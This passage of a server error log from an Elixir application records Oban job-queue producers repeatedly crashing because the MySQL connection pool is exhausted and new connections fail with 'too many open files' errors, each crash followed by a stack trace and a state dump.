State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:03:05.556536Z], limit: 50, uuid: "baab99e7-e6fe-400f-b6e3-95c827482e16", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:05.556542Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104758>, refresh_timer: #Reference<0.2525715032.1077411843.234087>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:17.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:03:05.559496Z], limit: 5, uuid: "69347782-44d2-4eb2-8015-b8cbcd10f8f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:05.559502Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.104753>, refresh_timer: #Reference<0.2525715032.1121189889.104745>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:17.343000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:21.340000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:23.545000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:25.069000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:25.332000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:27.648000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:28.042000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:28.354000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:29.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:03:17.251847Z], limit: 50, uuid: "6ad62269-801f-4199-ad4f-175f2e325255", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:17.251851Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105006>, refresh_timer: #Reference<0.2525715032.1077411843.234266>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:29.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:03:17.255002Z], limit: 5, uuid: "edc9c451-6b7b-4f7a-9515-94a85df29fc5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:17.255008Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105008>, refresh_timer: #Reference<0.2525715032.1068236804.250019>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:29.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:03:17.252482Z], limit: 20, uuid: "963cb295-1f83-44f4-86c4-17091b1d16a0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:17.252487Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105003>, refresh_timer: #Reference<0.2525715032.1077411843.234298>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:29.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:03:17.252053Z], limit: 3, uuid: "07778e82-34f6-4c7d-82a3-44da94a4685e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:17.252058Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105007>, refresh_timer: #Reference<0.2525715032.1077411843.234273>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:29.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:03:17.252291Z], limit: 10, uuid: "74f4ea75-89e9-4f32-b2f5-ccbe83ea6885", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:17.252296Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105004>, refresh_timer: #Reference<0.2525715032.1077411843.234288>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:29.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:03:17.251790Z], limit: 5, uuid: "181f7539-d25e-4766-ab97-4ea79bd35bb9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:17.251799Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105005>, refresh_timer: #Reference<0.2525715032.1077411843.234265>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:03:37.632000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:39.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:39.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:39.334000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:40.235000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:40.633000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:03:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:03:29.245251Z], limit: 5, uuid: "8fa6b907-0515-49ef-87f6-d607c810fd8a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:03:29.245256Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 